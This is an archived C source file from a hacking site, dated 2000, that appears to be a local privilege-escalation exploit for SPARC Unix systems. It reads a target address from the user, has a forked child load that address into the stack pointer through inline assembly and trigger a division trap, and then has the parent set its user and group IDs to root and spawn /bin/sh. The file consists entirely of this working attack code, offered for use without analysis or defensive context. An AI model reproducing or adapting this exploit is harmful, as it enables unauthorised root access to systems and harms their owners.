home *** CD-ROM | disk | FTP | other *** search
- #include <stdio.h>
-
- unsigned long addr;
- unsigned long *pp;
-
- char buf[BUFSIZ];
-
- main(argc, argv)
- int argc;
- char **argv;
- {
-
- printf("enter address in hex\n");
- gets(buf);
- sscanf(buf, "%x", &addr);
- addr -= 32;
-
- pp = (unsigned long *) addr;
- printf("address is 0x%0.8x\n", addr);
-
- if (fork() == 0)
- {
- asm(" sethi %hi(_addr), %i4");
- asm(" ld [%i4+%lo(_addr)], %i4");
- asm(" nop");
- asm(" mov %i4, %sp");
- asm(" udiv %i2, %i7, %i2");
- asm(" nop");
- exit(0);
- }
- else
- {
- wait((int *) 0);
- setreuid(-1, 0);
- setregid(-1, 0);
- system("/bin/sh");
- exit(0);
- }
-
- }
- /* www.hack.co.za [2000]*/